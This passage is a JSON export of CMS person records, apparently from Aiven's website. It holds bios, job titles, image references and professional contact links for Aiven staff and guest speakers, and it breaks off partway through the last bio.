{"__i18n_lang":"en","_createdAt":"2022-09-13T09:09:25Z","_id":"a2aec7fb-b2e6-4c41-93d0-46966ba6b68f","_rev":"RksXZeZKLvjmDTh00dKcoi","_type":"person","_updatedAt":"2023-03-15T13:00:25Z","image":{"_type":"mainImage","asset":{"_ref":"image-f3402b9de898099b14f2c3ee0de7a763beb7d908-800x800-jpg","_type":"reference"}},"jobTitle":"VP Marketing, Aiven","name":"Emma Paajanen","socialLink":{"_type":"socialLink","email":"emma@aiven.io","linkedIn":"https://www.linkedin.com/in/emmapaajanen"}} {"__i18n_lang":"en","_createdAt":"2023-05-03T11:34:21Z","_id":"b1f69e4a-f5d2-4f2d-8754-3f1d5dbf70fe","_rev":"IN1wWLxm4Ro5Jwpni9ZagO","_type":"person","_updatedAt":"2023-06-27T12:26:40Z","author":{"_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},"bio":[{"_key":"bec966f8e70a","_type":"block","children":[{"_key":"59cf11d00b250","_type":"span","marks":[],"text":"Ana Vasiliuk is Community Manager at Aiven. Her primary focus is on engaging with open source developer communities through events, social media, and content creation. Her background is managing an Apache Flink user community and her passion is building diverse tech communities. In her free time, she enjoys creating music and singing."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Ana Vasiliuk","asset":{"_ref":"image-802570dd8ca20bf445a1473374027fc3eeb1be4b-800x1200-jpg","_type":"reference"}},"jobTitle":"Community Manager, Aiven","name":"Ana Vasiliuk","role":"dev-rel","slug":{"_type":"slug","current":"/ana-vasiliuk"},"socialLink":{"_type":"socialLink","email":"anastasiia.vasiliuk@aiven.io","linkedIn":"https://www.linkedin.com/in/ana-vasiliuk-53b53283/","twitter":"https://twitter.com/AnaVasiliuk"}} {"__i18n_lang":"en","_createdAt":"2024-03-12T13:14:27Z","_id":"932e45ac-f3b8-465d-b765-97e70e5a21e7","_rev":"L3boCkkiM9On4ApfxO6JzX","_type":"person","_updatedAt":"2024-03-12T13:28:59Z","bio":[{"_key":"33c8cae80fc8","_type":"block","children":[{"_key":"50bab84b91260","_type":"span","marks":[],"text":"Amanda Lewis is a Developer Relations Engineer on the DORA Advocacy team at Google Cloud. She leads the development of the DORA Community of Practice and is a co-author of the 2023 Accelerate State of DevOps Report. Her career has been spent building connections across teams to develop e-commerce platforms, content management systems, observability tools, and support developers. She helps teams develop a culture of continuous improvement to deliver improved well-being and better outcomes for the business."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Amanda Lewis headshot","asset":{"_ref":"image-631344d2b78f654db0d9540c2f4a40240fdf4f35-3000x2400-jpg","_type":"reference"}},"jobTitle":"Developer Advocate, Google Cloud ","name":"Amanda Lewis","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/lewisamanda/","twitter":"https://twitter.com/swansama"}} {"__i18n_lang":"en","_createdAt":"2023-03-16T18:31:34Z","_id":"bef9599d-339b-4d09-9501-650f56ff9117","_rev":"O0EfMG90JIl2OD8UsHGDah","_type":"person","_updatedAt":"2024-01-08T17:26:17Z","bio":[{"_key":"ca37c467b986","_type":"block","children":[{"_key":"d901da5ac5ac0","_type":"span","marks":[],"text":"Markos works as a Product Marketing Manager for Event Streaming at Aiven. He previously held marketing position for Ververica, ResearchGate and LinkedIn and he is passionate about real time data streaming and stream processing technologies."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Markos Sfikas","asset":{"_ref":"image-ba85544cbc04ffb2a664361f9b81a994bc9a2941-860x860-jpg","_type":"reference"}},"jobTitle":"Product Marketing Manager for Event Streaming, Aiven","name":"Markos Sfikas"} {"__i18n_lang":"en","_createdAt":"2023-12-20T08:03:40Z","_id":"b5da9c03-336c-425b-8679-722ca743da0a","_rev":"Do3156plRwIXmiihO3VQBv","_type":"person","_updatedAt":"2023-12-20T08:03:40Z","bio":[{"_key":"688d8fde760d","_type":"block","children":[{"_key":"47156b8e3bc70","_type":"span","marks":[],"text":"Responsible for Product \u0026 IT at Swedbank Pay/PayEx."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-b4b8d2780c1069ca23be312c45be38fb4760d96b-5906x5906-jpg","_type":"reference"}},"jobTitle":"Acting Chief Product Officer, Swedbank Pay","name":"Johan Breidemalm","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/breidemalm/"}} {"__i18n_lang":"en","_createdAt":"2023-10-30T15:53:38Z","_id":"b6931b62-e94c-4237-a630-83c9b80855d1","_rev":"53dGIih5aaqk5AD5nHWmwp","_type":"person","_updatedAt":"2023-10-30T15:53:38Z","image":{"_type":"mainImage","asset":{"_ref":"image-feec965dc707d63dd1ae255b15cbe70452308473-2846x1894-jpg","_type":"reference"}},"jobTitle":"Senior Solutions Architect, Aiven","name":"Morvarid Aprin","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/aprin/"}} {"__i18n_lang":"en","_createdAt":"2024-03-18T08:23:15Z","_id":"b7b3bd32-7e12-42ca-ab85-027115eade70","_rev":"Mwja7swPJspBVknlrRYKbE","_type":"person","_updatedAt":"2024-04-02T07:15:53Z","bio":[{"_key":"751e505e00f2","_type":"block","children":[{"_key":"084dfe2b5a920","_type":"span","marks":[],"text":"Tun Shwe is the VP of Data at Quix, where he leads data strategy and developer relations. He is focused on helping companies imagine and implement their strategic data vision with stream processing at the forefront. He was previously a Head of Data and Data Engineer at high growth startups and has spent his career leading T-shaped teams in developing analytics platforms and data-intensive AI applications. "}],"markDefs":[],"style":"normal"},{"_key":"c0e96be89881","_type":"block","children":[{"_key":"143a2d95eb24","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9b2df5ba4d9d","_type":"block","children":[{"_key":"cdc0c6d1081e","_type":"span","marks":[],"text":"In his spare time, Tun goes surfing, plays guitar and tends to his analogue cameras."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Tun Shwe","asset":{"_ref":"image-4430b3d7c727b6a79c78cdb49bc74808b26b67fe-1200x1200-jpg","_type":"reference"}},"jobTitle":"VP of Data \u0026 DevRel, Quix","location":"London, UK","name":"Tun Shwe","role":"community-advocates","slug":{"_type":"slug","current":"/tun-shwe"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/tunshwe/"},"specialtyTopicTags":["Kafka","Python",""]} {"__i18n_lang":"en","_createdAt":"2022-12-16T06:48:01Z","_id":"b9bfd369-cc58-40cb-b36d-0ed33610f633","_rev":"0lF4kyZBi1fr8QymZ2xOpQ","_type":"person","_updatedAt":"2023-03-15T14:02:42Z","image":{"_type":"mainImage","alt":"ewelina grajko sustainability lead Aiven","asset":{"_ref":"image-85b766aad68219b378defb5b526014cd52e4e177-800x800-jpg","_type":"reference"}},"jobTitle":"Sustainability Lead","name":"Ewelina Grajko"} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:35:30Z","_id":"c5c2f612-4210-4782-bfc2-d9d57a707ef4","_rev":"VeNKqGNmt13PzvGhqkbgL0","_type":"person","_updatedAt":"2024-01-24T01:35:30Z","image":{"_type":"mainImage","asset":{"_ref":"image-4407ce0735355d24b07036816a2c9ebe0bd3763f-800x800-jpg","_type":"reference"}},"jobTitle":"Director, Platform Engineering at StockX","name":"Charlie Jones","slug":{"_type":"slug","current":"/charlie-jones"}} {"__i18n_lang":"en","_createdAt":"2023-03-15T19:05:11Z","_id":"c90478e7-f28b-4cbf-8afe-8634352aeac8","_rev":"RksXZeZKLvjmDTh00gZvbm","_type":"person","_updatedAt":"2023-03-15T19:05:11Z","image":{"_type":"mainImage","alt":"Kathryn Eeds","asset":{"_ref":"image-ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1-720x720-jpg","_type":"reference"}},"jobTitle":"Google Cloud Partner Engineer","name":"Kathryn Eeds","socialLink":{"_type":"socialLink","email":"kbeeds@google.com","linkedIn":"https://www.linkedin.com/in/kathryn-eeds-8115967/"}} {"__i18n_lang":"en","_createdAt":"2024-03-04T12:49:09Z","_id":"cddf92dc-af3b-44be-9c74-c705ac50ac3b","_rev":"lOjT7PtXQdXnhE8aJo0RHL","_type":"person","_updatedAt":"2024-03-05T10:41:33Z","bio":[{"_key":"e6bc458a5525","_type":"block","children":[{"_key":"2e5872a36fab0","_type":"span","marks":[],"text":"Timothy Mamo loves to help growing companies make the most of the cloud by focusing on Cloud Native technologies and processes. He’s had a varied experience, from studying aerospace engineering and working in the automotive industry before moving into the world of Cloud. He enjoys working and helping others improve and understand, at times with some Mediterranean gusto."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Timothy Mamo","asset":{"_ref":"image-e1eb661f25c5d1818b6a25e3b4b4c584b7e25a97-1960x2022-jpg","_type":"reference"}},"jobTitle":"Senior Developer Advocate, DigitalOcean","location":"Haarlem, the Netherlands","name":"Timothy Mamo","role":"community-advocates","slug":{"_type":"slug","current":"/timothy-mamo"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/timothymamo/"}} {"__i18n_lang":"en","_createdAt":"2024-04-02T06:58:27Z","_id":"ce5d97a1-4048-4d76-83d6-46ed215c7a83","_rev":"Mwja7swPJspBVknlrRYHJI","_type":"person","_updatedAt":"2024-04-02T07:12:19Z","bio":[{"_key":"7bf58e29110d","_type":"block","children":[{"_key":"1b2315c0b7dc","_type":"span","marks":[],"text":"Idriss is an IT engineer, building an IaC-as-a-service (Infrastructure as Code) and Function-as-a-Service solution. He's also an open source contributor."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Idriss Neumann","asset":{"_ref":"image-366c5b14c7b73311aa7285a1e299c89c9e8d877a-800x800-jpg","_type":"reference"}},"jobTitle":"Independent Infrastructure Expert","location":"Paris, France","name":"Idriss Neumann","role":"community-advocates","slug":{"_type":"slug","current":"/idriss-neumann"},"socialLink":{"_type":"socialLink","github":"https://github.com/idrissneumann","linkedIn":"https://www.linkedin.com/in/idrissneumann/"},"specialtyTopicTags":["Kafka","PostgreSQL","Quickwit","Kubernetes","Redis"]} {"__i18n_lang":"en","_createdAt":"2024-02-02T14:23:38Z","_id":"d5b4a9d8-5bd6-460a-a840-7da3aff5ecb4","_rev":"H1slUvtNVEvBnmPPMPcfTN","_type":"person","_updatedAt":"2024-02-02T14:23:38Z","image":{"_type":"mainImage","asset":{"_ref":"image-0a467293916c8ccf353f488aecc6b21061784f27-4368x2912-jpg","_type":"reference"}},"jobTitle":"Cloud Blog Tech Lead, Google","name":"Max Saltonstall"} {"__i18n_lang":"en","_createdAt":"2024-07-17T08:39:35Z","_id":"d63fd8b3-d914-49de-a4f7-9dd66769ed3a","_rev":"jEln45CgOQD4spzxexyptE","_type":"person","_updatedAt":"2024-07-17T09:06:39Z","bio":[{"_key":"33c8fd91702e","_type":"block","children":[{"_key":"67fe2b264ddd","_type":"span","marks":[],"text":"Chris has worked in the IT industry for 25 years specializing in Software Engineering \u0026 Delivery, R\u0026D, innovating in Telecoms, Manufacturing, Warranty, Financial, and Supply Chain software systems. Chris holds an honors degree in Computer Science \u0026 Systems Engineering, Masters in Computer Information Systems and is a Certified Security \u0026 Privacy Professional."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-a18c3c5e922d39e4b6505e94a2f86a390e30c006-313x312-jpg","_type":"reference"}},"jobTitle":"Chief Information Security Officer, Avaya","name":"Chris Hill"} {"__i18n_lang":"en","_createdAt":"2023-10-06T06:12:38Z","_id":"d971c781-e24e-4c21-a76f-713d51437f90","_rev":"kdSZ3lyplq7ihlwbziWT9P","_type":"person","_updatedAt":"2023-10-09T10:09:03Z","bio":[{"_key":"75b03a0fad5f","_type":"block","children":[{"_key":"efcd3835b5950","_type":"span","marks":[],"text":"Mirjam works as Senior Frontend Engineer at Aiven, with a passion for community, testing, and making quirky connections between software engineering and dog training. She's also part of Aiven's Open Source Program Office, where with her team she builds Klaw."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-49a93b6a85f3f16d430bf9a657facbf6bcdb5457-512x512-png","_type":"reference"}},"jobTitle":"Senior Software Engineer, Aiven","name":"Mirjam Aulbach","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/mirjam-aulbach/"}} {"__i18n_lang":"en","_createdAt":"2022-10-05T15:15:38Z","_id":"df0b6e8a-6e17-41b5-8fdf-a82b588506e3","_rev":"RksXZeZKLvjmDTh00dKWyy","_type":"person","_updatedAt":"2023-03-15T13:00:19Z","image":{"_type":"mainImage","asset":{"_ref":"image-21433b4ae1a8340f9b89da362c0ddaac724147fe-800x800-jpg","_type":"reference"}},"jobTitle":"SVP Operations \u0026 Strategy, Aiven","name":"Katariina Korhonen","socialLink":{"_type":"socialLink","email":"katariina.korhonen@aiven.io","linkedIn":"https://www.linkedin.com/in/katariina-korhonen-52334730/"}} {"__i18n_lang":"en","_createdAt":"2023-05-10T08:48:38Z","_id":"df2f55c4-4bde-4170-a578-f6939fff2f79","_rev":"QpIjbIkE1ssA0KivVvANle","_type":"person","_updatedAt":"2023-05-11T08:40:42Z","bio":[{"_key":"e5c94fee0a76","_type":"block","children":[{"_key":"c00211eea5040","_type":"span","marks":[],"text":"Jonah Kowall, computer scientist and open-source contributor to OpenSearch, Jaeger, OpenTelemetry. A technical leader across startups to large enterprises specialized in operations, security, and performance. Led Gartner research on monitoring. Product leadership at AppDynamics, Cisco (post-acquisition), Kentik, Logz.io, and is current the head of product management at Aiven building tomorrow’s open source data platform for everyone."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-7cd21ca45d847299785ffdab811e25b1f89bd706-512x512-png","_type":"reference"}},"jobTitle":"VP of Product Management, Aiven","name":"Jonah Kowall","socialLink":{"_type":"socialLink","email":"jonah.kowall@aiven.io","linkedIn":"https://www.linkedin.com/in/jkowall"}} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:13:27Z","_id":"df6570ea-31e1-4d6d-8048-b4c010e3b92f","_rev":"FyKybxTQXmO9mB4Bp16QFO","_type":"person","_updatedAt":"2023-03-15T13:23:17Z","image":{"_type":"mainImage","asset":{"_ref":"image-c2d68e8a7c59f4374962e623ed0feff4511d6146-800x800-jpg","_type":"reference"}},"jobTitle":"VP Finance, Aiven","name":"Elina Finnilä","socialLink":{"_type":"socialLink","email":"elina.finnila@aiven.io","linkedIn":"https://www.linkedin.com/in/elina-finnil%C3%A4-b271873/"}} {"__i18n_lang":"en","_createdAt":"2023-01-10T11:08:47Z","_id":"e415337a-e516-496a-97c8-46f39b3a28f9","_rev":"Y8XrsvoJ4zglb1hB5GaZUB","_type":"person","_updatedAt":"2023-01-10T11:09:21Z","bio":[{"_key":"f21893ac5901","_type":"block","children":[{"_key":"9d68d7750ac3","_type":"span","marks":[],"text":"With a background in streaming IT Automation, David Esposito has extensive experience running Kafka®, OpenSearch®, MySQL, and Redis®* at scale, measuring throughput in events per millisecond. His background in full-stack development, application, and platform architecture has cultivated a passion for developer enablement. David graduated from Georgia Tech with a degree in Computer Science and has since joined multiple high growth startups as an early employee."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-2be71af134f57f5ff1fe534e3408b167db838037-512x512-png","_type":"reference"}},"jobTitle":"VP Customer Engagement, Aiven","name":"David Esposito","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/davidespo/"}} {"__i18n_lang":"en","_createdAt":"2024-07-17T09:16:29Z","_id":"e4f450f6-2aba-414d-a9ca-5426c2fe28cd","_rev":"IN03FCy14OOjYlZR2kC1ma","_type":"person","_updatedAt":"2024-07-17T09:50:06Z","bio":[{"_key":"aba4087b51d9","_type":"block","children":[{"_key":"264831332e9f","_type":"span","marks":[],"text":"Oded is the co-founder \u0026 CEO of EverSQL, now EverSQL by Aiven. Previously, Director of Growth Technologies @ WeWork, Director of Product Management @ CyberArk (NASDAQ:CYBR) while having a key role in CyberArk's IPO and expansion. Oded also served as Mentor @ Harvard Business School"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1-1024x1024-jpg","_type":"reference"}},"jobTitle":"Director of Product Management, Aiven","name":"Oded Valin","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/valin/"}} {"__i18n_lang":"en","_createdAt":"2023-05-09T11:01:04Z","_id":"e68339aa-ce0d-476f-9450-7f5aec2819de","_rev":"CehdQyS8z5lmiPrCUyk0oh","_type":"person","_updatedAt":"2023-05-10T11:05:19Z","bio":[{"_key":"cd0e5822ba20","_type":"block","children":[{"_key":"ff74f9c431f10","_type":"span","marks":[],"text":"Michael Zimberg is the CTO of Digital Asset Research (DAR), a specialized provider of ‘clean’ digital asset data, insights, and research for institutional clients. Prior to DAR, Mike held a variety of leadership roles in capital markets and fintech, including as global head of product development for Citigroup’s prime brokerage; back office technology manager at Pine River, a multi strategy hedge fund; and technology leadership roles at BNP Paribas, Bank of America, and Morgan Stanley."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Michael Zimberg","asset":{"_ref":"image-ed7314d9fcb53ab3432fe7e315e015f81936552c-253x256-png","_type":"reference"}},"jobTitle":"CTO, Digital Asset Research","name":"Michael Zimberg","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/michaelzimberg"}} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:54:40Z","_id":"e8795673-e1f3-4547-bf81-7277b4549d63","_rev":"VeNKqGNmt13PzvGhqkcT3E","_type":"person","_updatedAt":"2024-01-24T01:54:40Z","image":{"_type":"mainImage","asset":{"_ref":"image-ecf3624f19a08ac2149d436d04621e0b01d762fb-499x499-jpg","_type":"reference"}},"jobTitle":"Back End Developer, Fintech","name":"Ali Diamond","slug":{"_type":"slug","current":"/ali-diamond"}} {"__i18n_lang":"en","_createdAt":"2023-07-18T09:20:37Z","_id":"ea3cca71-45c7-48c7-8cc9-6479cbb57b45","_rev":"kufTPXDfauM8WA9ggOkSfT","_type":"person","_updatedAt":"2023-07-18T10:20:41Z","bio":[{"_key":"7a5338df96bf","_type":"block","children":[{"_key":"1d92d4a79e460","_type":"span","marks":[],"text":"With over 25 years of experience in infrastructure solutions and enterprise software, Zeljko Dodlek has worked in various positions to drive business growth in EMEA. Before Aiven, Zeljko worked for various US IT startups to establish new and innovative technologies in German-speaking countries."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-4c8db9f3327a290949bcc9c1bc6dd1cd35ad80cc-1024x1024-jpg","_type":"reference"}},"jobTitle":"Sales Director DACH at Aiven","name":"Zeljko Dodlek","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/zeljkododlek/"}} {"__i18n_lang":"en","_createdAt":"2024-07-17T09:31:09Z","_id":"ee632255-1bbd-4a6c-a0b5-042917259397","_rev":"jEln45CgOQD4spzxey2ZPu","_type":"person","_updatedAt":"2024-07-17T09:31:09Z","bio":[{"_key":"bf092ddf2f1c","_type":"block","children":[{"_key":"55231c592b310","_type":"span","marks":[],"text":"Dave Li is an experienced Senior Software Engineer with a background in web development and system engineering. Dave has held various positions such as Business Unit Manager, System Engineer, and Web Developer at companies specializing in enterprise web solutions and website development. Dave graduated from Hogeschool Leiden with a degree in Life Sciences and Bioinformatics."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b-350x350-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer, Helthjem","name":"Dave Li","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/daveli/"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:28:23Z","_id":"efd21c88-4939-4686-9adc-0ecb27d2229e","_rev":"ck602smrwFloVEh7NYJkdb","_type":"person","_updatedAt":"2023-10-09T10:09:34Z","bio":[{"_key":"3438694b0b81","_type":"block","children":[{"_key":"772070f991cb0","_type":"span","marks":[],"text":"Mathieu is a Senior Frontend Engineer at Aiven, even if he used to be a film archivist in another life. He loves being at the intersection of the rich data provided by the backend engineers, and the beautiful screens created by the designers. He's part of Aiven's Open Source Program Office, where he contributes to the building of the Klaw project."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Mathieu Anderson","asset":{"_ref":"image-8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Mathieu Anderson","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/mathieuanderson/"}} {"__i18n_lang":"en","_createdAt":"2023-02-23T16:25:43Z","_id":"f6ba67b5-89c5-417f-a1ac-56ea55c20650","_rev":"tLcgKZL18qfyYELSyhEzb7","_type":"person","_updatedAt":"2023-10-25T14:48:54Z","bio":[{"_key":"e40da1043a7a","_type":"block","children":[{"_key":"ecee4e571ce20","_type":"span","marks":[],"text":"Dave is a Solution Architect at Aiven and is passionate about data, tech, and espresso. He enjoys writing code (certainly a lot more than writing about himself) and has contributed to several open source projects in the big data ecosystem, including Apache Kafka, Avro, HBase and Crunch. Nowadays, Dave does more talking than typing, having spent the best part of the last 8 years as a technical architect and consultant, traveling the world (remember that?), and helping organizations of all shapes and sizes with their data problems."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d86ae4e49276f52e437adb9dd8766734c9fdc0a0-427x427-jpg","_type":"reference"}},"jobTitle":"Staff Solution Architect, Aiven","name":"Dave Beech","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/davebeech/"}} {"__i18n_lang":"en","_createdAt":"2024-01-10T15:47:39Z","_id":"f733ad5b-20da-442b-8451-ab4ebdbf7092","_rev":"La0auRbN59Vqal3aXtfLXs","_type":"person","_updatedAt":"2024-01-10T15:47:39Z","bio":[{"_key":"93ef14b2668b","_type":"block","children":[{"_key":"e932c96dd3cc","_type":"span","marks":[],"text":"Sasha Vidiborskiy is a Partner at Atomico, based in London. He focuses on enterprise software, including blockchain/web3, developer tools and AI/ML applications, among others. He has led Atomico’s investments in "},{"_key":"e71f9e0be11c","_type":"span","marks":["2f0330d61356"],"text":"Mondoo"},{"_key":"483aa47b47f9","_type":"span","marks":[],"text":" and "},{"_key":"41b5cd8516dd","_type":"span","marks":["72cfc79093d4"],"text":"Ben"},{"_key":"dc0e152b7ff2","_type":"span","marks":[],"text":", and is on the boards of "},{"_key":"20d12f7e5dff","_type":"span","marks":["9ed074fb2aae"],"text":"Jobandtalent"},{"_key":"e501c32b5158","_type":"span","marks":[],"text":", "},{"_key":"29539f259c5f","_type":"span","marks":["817b8df58a88"],"text":"CloudNC"},{"_key":"e2561428bd91","_type":"span","marks":[],"text":", "},{"_key":"73afbc6376e7","_type":"span","marks":["58069d18aa58"],"text":"Varjo"},{"_key":"d29630b5a198","_type":"span","marks":[],"text":".\n"}],"markDefs":[{"_key":"2f0330d61356","_type":"link","href":"https://atomico.com/partners/mondoo"},{"_key":"72cfc79093d4","_type":"link","href":"https://atomico.com/partners/ben"},{"_key":"9ed074fb2aae","_type":"link","href":"https://atomico.com/partners/jobandtalent"},{"_key":"817b8df58a88","_type":"link","href":"https://atomico.com/partners/cloudnc"},{"_key":"58069d18aa58","_type":"link","href":"https://atomico.com/partners/varjo"}],"style":"normal"}],"image":{"_type":"mainImage","alt":"Sasha Vidiborskiy profile photo","asset":{"_ref":"image-58cff595bf637438f4cd3613787147afebdc1d22-1800x1200-webp","_type":"reference"}},"jobTitle":"Partner at Atomico","name":"Sasha Vidiborskiy","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/vidiborskiy/","twitter":"https://twitter.com/vidiborvc","website":"https://atomico.com/"}} {"__i18n_lang":"en","_createdAt":"2023-11-10T20:45:37Z","_id":"f36a7717-dae6-489a-bfec-0b220b02e70c","_rev":"kEHuFmUBKgAmSEW7BcliXG","_type":"person","_updatedAt":"2023-12-08T10:27:58Z","image":{"_type":"mainImage","alt":"Sayle Matthews Senior Cloud Architect, DoiT International portrait","asset":{"_ref":"image-6347872eaf380639218dbcce5e4d7170a0244eb1-512x512-png","_type":"reference"}},"jobTitle":"Senior Cloud Architect, DoiT International","name":"Sayle Matthews","socialLink":{"_type":"socialLink","email":"sayle@doit.com","linkedIn":"https://www.linkedin.com/in/sayle-matthews-522a795/"}} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:16:38Z","_id":"fec6273b-8a1d-4f84-90d6-e2305d799c24","_rev":"6A7y012pmf5STlJrFSy8VV","_type":"person","_updatedAt":"2022-10-07T06:39:12Z","image":{"_type":"mainImage","asset":{"_ref":"image-a81c759f842b3d14c534c16e6cef3d25758aa474-800x800-png","_type":"reference"}},"jobTitle":"SVP Sales, Aiven","name":"Jani Asikanius","socialLink":{"_type":"socialLink","email":"jani.asikanius@aiven.io","linkedIn":"https://www.linkedin.com/in/jani-asikanius-49434"}} {"__i18n_lang":"en","_createdAt":"2024-03-26T15:06:34Z","_id":"24ded3b2-2265-41c8-aedb-b7e72c31fd52","_rev":"67bMqYmOBHw05z0ZRwyEeZ","_type":"person","_updatedAt":"2024-03-28T14:03:06Z","bio":[{"_key":"499f41328312","_type":"block","children":[{"_key":"d8e04c8487ae0","_type":"span","marks":[],"text":"John Turner boasts over 15 years of diverse technical leadership in the financial sector, adept at managing intricate technical landscapes while prioritizing seamless client engagement."}],"markDefs":[],"style":"normal"},{"_key":"17f3aa1ed435","_type":"block","children":[{"_key":"e279c0485ba00","_type":"span","marks":[],"text":"His expertise spans database management, cloud infrastructure, and document storage, consistently delivering tailored solutions aligning with stringent industry standards and unique client needs."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-10583552f0e9a06c6924def951fe9440bec3edea-512x419-png","_type":"reference"}},"jobTitle":"Senior Technical Account Manager, Aiven","name":"John Turner"} {"__i18n_lang":"en","_createdAt":"2024-03-25T11:47:06Z","_id":"23f20994-ae43-4a39-81f0-27fbbf031055","_rev":"CJO3e8rLk53sCEtDX0uvNN","_type":"person","_updatedAt":"2024-03-27T11:10:04Z","bio":[{"_key":"440b5294a070","_type":"block","children":[{"_key":"44a2157033cb0","_type":"span","marks":[],"text":"Oleg has worked with over thirty technology companies as a software developer, CTO and founder. "}],"markDefs":[],"style":"normal"},{"_key":"5d639dd39b23","_type":"block","children":[{"_key":"78597f360a3e","_type":"span","marks":[],"text":"Currently he’s working on Toughbyte, a tech recruitment platform matching companies with developers. He also does technical due diligence for investors and runs the Helsinki JavaScript meetup."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Oleg Podeschin profile photo","asset":{"_ref":"image-19877175dfa96c4fd7bc0e352e3f46bd6e7e4239-400x400-jpg","_type":"reference"}},"jobTitle":"CEO at Toughbyte","name":"Oleg Podsechin","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/olegpodsechin/"}} {"__i18n_lang":"en","_createdAt":"2024-04-02T07:01:22Z","_id":"cc767e1a-2e0c-4667-bb19-db10005f7ffe","_rev":"Mwja7swPJspBVknlrRYCaU","_type":"person","_updatedAt":"2024-04-02T07:01:22Z","bio":[{"_key":"bee57d6d4e28","_type":"block","children":[{"_key":"16d5e271c2e40","_type":"span","marks":[],"text":"I'm a software engineer with a whopping 25 years of experience, mainly focusing on the Internet of Things (IoT) and cloud software. Originally from Mexico, I now call California home. I'm all about cybersecurity and IoT, and I am always striving to learn new things, especially in the open-source world."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Carlos Olmos","asset":{"_ref":"image-9edcaefca4a9af64fca2f4a9a03fc2c0b474c5f4-366x366-jpg","_type":"reference"}},"jobTitle":"Senior Principal Software Engineer at Everactive","location":"Cupertino, California, USA","name":"Carlos Olmos","role":"community-advocates","slug":{"_type":"slug","current":"/carlos-olmos"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/carlosaolmos/"},"specialtyTopicTags":["IoT","Cloud","Cybersecurity","open source"]} {"__i18n_lang":"en","_createdAt":"2024-04-02T07:07:59Z","_id":"01c4ea8a-d5bf-4565-8474-fa0c2fd1ac25","_rev":"ZL6I8uoKFddu0pxJdakLn9","_type":"person","_updatedAt":"2024-04-02T07:12:05Z","bio":[{"_key":"25476cd13ae9","_type":"block","children":[{"_key":"0f8c4de6a2870","_type":"span","marks":[],"text":"Previously at New Relic and MariaDB, Grant is a founding member of Data Reliability Engineering at Calendly, where he joined in May 2023. Grant's been a Co-leader of the Portland PostgreSQL User Group since 2016. "}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Grant Holly","asset":{"_ref":"image-6c605f62ffcc6e24ddfdfda543f10676c536b56a-1268x1871-jpg","_type":"reference"}},"jobTitle":"Senior Data Reliabilty Engineer at Calendly","location":"Portland, USA","name":"Grant Holly","role":"community-advocates","slug":{"_type":"slug","current":"/grant-holly"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/grant-holly-0456a56a","website":"https://pdxpug.wordpress.com"},"specialtyTopicTags":["PostgreSQL","MariaDB","Redis","Elasticsearch","Linux","Kafka"]} {"__i18n_lang":"en","_createdAt":"2024-03-26T11:12:03Z","_id":"f2ddbba5-6c3a-4566-ab4e-31a73d4c32b0","_rev":"Mwja7swPJspBVknlrRYJMW","_type":"person","_updatedAt":"2024-04-02T07:14:14Z","author":{"_ref":"5bcc0d2e-daa8-4b34-b8f1-40ade6425be0","_type":"reference"},"bio":[{"_key":"686f3806a11e","_type":"block","children":[{"_key":"3c07a754ae580","_type":"span","marks":[],"text":"Henrietta Dombrovskaya is a database researcher and practitioner with over 40 years of academic and 